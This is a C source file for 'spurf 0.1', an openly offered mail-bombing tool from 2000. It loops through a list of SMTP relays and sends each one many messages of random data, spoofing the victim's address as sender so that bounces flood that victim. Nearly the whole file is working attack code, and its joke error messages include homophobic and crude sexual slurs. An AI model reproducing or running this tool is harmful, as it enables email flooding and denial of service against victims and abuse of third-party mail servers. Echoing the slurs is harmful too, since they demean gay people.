/*
 * spurf 0.1
 * =========
 * fuck packeting, spam them to hell, jersey, and back
 * (c) 2000 - missnglnk <missnglnk@tribune.intranova.net>
 *   greets: ging3r, sectorx, tino, arakis, phonz, cypherus, cyberops,
 *           gated, ti, moo, nivfreak, any #include kids i missed.
 * =========
 * THOU SHALT CRASH AND BURN IF THOU USETH THIS FOR NONBIBLICAL
 * PURPOSES. THY ASS SHALL BE REAMED 777 TIMES BY YOUR FAITHFUL
 * LORD AND SAVIOR, BUBBA.
 * (you get the drift)
 * =========
 * I'm not cool enough for the parties, so I sit at home and
 * find ways to piss off those who are. While coding, I mapped
 * out all the possible situations I might have faced if I tried
 * to go to a party I wasn't invited to, mainly to make myself
 * feel better. E-mail future party invitations to
 * missnglnk@tribune.intranova.net, I'll gladly accept
 * government parties or *gasp* CORPORATE SCUM invitations.
 * </cry^H^H^H^H^H
 * </rant>
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netdb.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <sys/param.h>

#define RANDOM_DATA	"/dev/urandom"
extern int errno;

void usage(void)
{
	printf("spurf [-t target] [-f relays] [-n messages] [-s size]\n");
	exit(-1);
}

int main(int argc, char **argv)
{
	int args;
	char *target;
	char *relayfile;
	int msgcnt;
	int msglen;
	FILE *relays;
	char relay[MAXHOSTNAMELEN];

	printf("spurf 0.1 by missnglnk\n");
	printf("http://tribune.intranova.net\n\n");

	if (argc < 2) {
		usage();
	}

	target = NULL;
	relayfile = NULL;
	msgcnt = -1;
	msglen = -1;

	while ((args = getopt(argc, argv, "t:f:n:s:")) != -1) {
		switch(args) {
			case 't':
				if (strlen(optarg) > 128) {
					printf("[spurf]\tridiculous email address\n\n");
					return -1;
				}

				target = optarg;
				break;
			case 'f':
				relayfile = optarg;
				break;
			case 'n':
				msgcnt = atoi(optarg);
				break;
			case 's':
				msglen = atoi(optarg);
				if (msglen < 128) {
					printf("[spurf]\tridiculous size\n\n");
					return -1;
				}
				break;
			case '?':
			default:
				usage();
				break;
		}
	}

	argc -= optind;
	argv -= optind;

	if (target == NULL || relayfile == NULL || msgcnt == -1 || msglen == -1) {
		printf("[spurf]\tyou have no clue about tonight's party\n");
		printf("[error]\tmissing arguments\n\n");
		usage();
	}

	if ((relays = fopen(relayfile, "r")) == NULL) {
		printf("[spurf]\tyou cant pick the lock on johnny cool's locker\n");
		printf("[error]\t%s\n\n", strerror(errno));
		return -1;
	}

	while (fgets(relay, MAXHOSTNAMELEN, relays) != NULL) {
		relay[strlen(relay) - 1] = NULL;
		if (spurf(target, relay, msgcnt, msglen) == -1) {
			printf("[spurf]\t%s failed\n\n", relay);
		}
	}

	if (fclose(relays) < 0) {
		printf("[spurf]\tyou and your bloody, loose ass walk past the village people\n");
		printf("[error]\t%s\n\n", relayfile, strerror(errno));
		return -1;
	}

	return 0;
}

int spurf(char *target, char *relay, int msgnum, int msglen)
{
	FILE *randfile;
	int i;
	int sock;
	char *randdata;
	char rcvbuf[1024];
	char msgline[msglen];
	struct hostent *he;
	unsigned long ip;
	struct sockaddr_in sin;
	
	if ((randdata = malloc(msglen)) == NULL) {
		printf("[spurf]\tyou get caught stealing an invitation\n");
		printf("[error]\t%s\n", msglen, strerror(errno));
		return -1;
	}

	if ((he = gethostbyname(relay)) != NULL) {
		ip = *(unsigned long *)he->h_addr;
	} else {
		if ((ip = inet_addr(relay)) == NULL) {
			printf("[spurf]\tgot caught making copies at kinko's\n");
			printf("[error]\t%s\n", strerror(errno));
			free(randdata);
			return -1;
		}
	}

	bzero(&sin, sizeof(sin));
	sin.sin_family = AF_INET;
	sin.sin_addr.s_addr = ip;
	sin.sin_port = htons(25);

	for (i = 1; i <= msgnum; i++) {
		if ((randfile = fopen(RANDOM_DATA, "r")) == NULL) {
			printf("[spurf]\tcouldnt find party invitation\n");
			printf("[error]\t%s\n", strerror(errno));
			free(randdata);
			return -1;
		}

		if (fread(randdata, msglen, 1, randfile) < 1) {
			printf("[spurf]\tyour cool party clothes are locked in mom's room\n");
			printf("[error]\t%s\n", strerror(errno));
			free(randdata);
			return -1;
		}

		if (fclose(randfile) < 0) {
			printf("[spurf]\tcouldnt hide them from mom quick enough\n\t%s\n", strerror(errno));
 			free(randdata);
			return -1;
		}


		if ((sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) {
			printf("[spurf]\tgot caught climbing out the window\n");
			printf("[error]\t%s\n", strerror(errno));
			free(randdata);
			return -1;
		}

		if (connect(sock, (struct sockaddr *)&sin, sizeof(sin)) < 0) {
			printf("[spurf]\tbedsheet we're climbing down ripped in half\n");
			printf("[error]\t%s\n", strerror(errno));
			free(randdata);
			return -1;
		}

		bzero(rcvbuf, sizeof(rcvbuf));
		if (read(sock, rcvbuf, sizeof(rcvbuf)) <= 0) {
			printf("[spurf]\tno more standing or sitting space\n");
			printf("[error]\t%s\n", strerror(errno));
			free(randdata);
			return -1;
		}

		if (strstr(rcvbuf, "220") == NULL) {
			printf("[spurf]\tmissed the motherfucking bus *again*\n");
			printf("[error]\t%s", rcvbuf);
			free(randdata);
			return -1;
		}

		snprintf(msgline, msglen, "HELO tribune.intranova.net\n");
		if (write(sock, msgline, strlen(msgline)) < strlen(msgline)) {
			printf("[spurf]\tgot chumped by the bus driver\n");
			printf("[error]\t%s\n", strerror(errno));
			free(randdata);
			return -1;
		}

		bzero(rcvbuf, sizeof(rcvbuf));
		if (read(sock, rcvbuf, sizeof(rcvbuf)) <= 0) {
			printf("[spurf]\tno more standing or sitting space\n");
			printf("[error]\t%s\n", strerror(errno));
			free(randdata);
			return -1;
		}

		if (strstr(rcvbuf, "250") == NULL) {
			printf("[spurf]\tguy sitting next to you grabbed your ass\n");
			printf("[error]\t%s", rcvbuf);
			free(randdata);
			return -1;
		}

		snprintf(msgline, msglen, "MAIL FROM: %s\n", target);
		if (write(sock, msgline, strlen(msgline)) < strlen(msgline)) {
			printf("[spurf]\tgot bitchslapped after telling a girl you're from jersey\n");
			printf("[error]\t%s\n", strerror(errno));
			free(randdata);
			return -1;
		}

		bzero(rcvbuf, sizeof(rcvbuf));
		if (read(sock, rcvbuf, sizeof(rcvbuf)) <= 0) {
			printf("[spurf]\tembarassed to read her number with your glasses on\n");
			printf("[error]\t%s\n", strerror(errno));
			free(randdata);
			return -1;
		}

		if (strstr(rcvbuf, "250") == NULL) {
			printf("[spurf]\tyou make out her name, b-r-u-c-e\n");
			printf("[error]\t%s", rcvbuf);
			free(randdata);
			return -1;
		}

		snprintf(msgline, msglen, "RCPT TO: %ld@%s\n", random(), relay);
		if (write(sock, msgline, strlen(msgline)) < strlen(msgline)) {
			printf("[spurf]\tyou realize you're on the wrong bus\n");
			printf("[error]\t%s\n", strerror(errno));
			free(randdata);
			return -1;
		}

		bzero(rcvbuf, sizeof(rcvbuf));
		if (read(sock, rcvbuf, sizeof(rcvbuf)) <= 0) {
			printf("[spurf]\tyou miss your stop and end up in the desert\n");
			printf("[error]\t%s\n", strerror(errno));
			free(randdata);
			return -1;
		}

		if (strstr(rcvbuf, "250") == NULL) {
			printf("[spurf]\tthis invitation is to the other party 3 months ago\n");
			printf("[error]\t%s", rcvbuf);
			free(randdata);
			return -1;
		}

		snprintf(msgline, msglen, "DATA\n");
		if (write(sock, msgline, strlen(msgline)) < strlen(msgline)) {
			printf("[spurf]\tyour excuse is full of shit\n");
			printf("[error]\t%s\n", strerror(errno));
			free(randdata);
			return -1;
		}

		bzero(rcvbuf, sizeof(rcvbuf));
		if (read(sock, rcvbuf, sizeof(rcvbuf)) <= 0) {
			printf("[spurf]\tyou dont know whether to explain or not\n");
			printf("[error]\t%s\n", rcvbuf);
			free(randdata);
			return -1;
		}

		if (strstr(rcvbuf, "354") == NULL) {
			printf("[spurf]\tyou get punched in the mouth starting to explain\n");
			printf("[error]\t%s", rcvbuf);
			free(randdata);
			return -1;
		}

		snprintf(msgline, msglen, "%s\r\n.\r\n", randdata);
		if (write(sock, msgline, strlen(msgline)) < strlen(msgline)) {
			printf("[spurf]\tyou get punched in the mouth while explaining\n");
			printf("[error]\t%s\n", strerror(errno));
			free(randdata);
			return -1;
		}

		bzero(rcvbuf, sizeof(rcvbuf));
		if (read(sock, rcvbuf, sizeof(rcvbuf)) <= 0) {
			printf("[spurf]\tyou're unconscious for some silly reason\n");
			printf("[error]\t%s\n", strerror(errno));
			free(randdata);
			return -1;
		}

		if (strstr(rcvbuf, "250") == NULL) {
			printf("[spurf]\tyou get kicked out before the party starts\n");
			printf("[error]\t%s", rcvbuf);
			free(randdata);
			return -1;
		}

		snprintf(msgline, msglen, "QUIT\n");
		if (write(sock, msgline, strlen(msgline)) < strlen(msgline)) {
			printf("[spurf]\tyou're whacked with a broom before the door\n");
			printf("[error]\t%s\n", strerror(errno));
			free(randdata);
			return -1;
		}

		bzero(rcvbuf, sizeof(rcvbuf));
		if (read(sock, rcvbuf, sizeof(rcvbuf)) <= 0) {
			printf("[spurf]\tyou cant tell who's hitting you\n");
			printf("[error]\t%s\n", strerror(errno));
			free(randdata);
			return -1;
		}

		if (strstr(rcvbuf, "221") == NULL) {
			printf("[spurf]\traving homos come downstairs and wont let you leave\n");
			printf("[error]\t%s", rcvbuf);
			free(randdata);
			return -1;
		}

		if (close(sock) < 0) {
			printf("[spurf]\tyou cant keep your ass closed tight enough\n");
			printf("[error]\t%s\n", strerror(errno));
			free(randdata);
			return -1;
		}
	}

	return 0;
}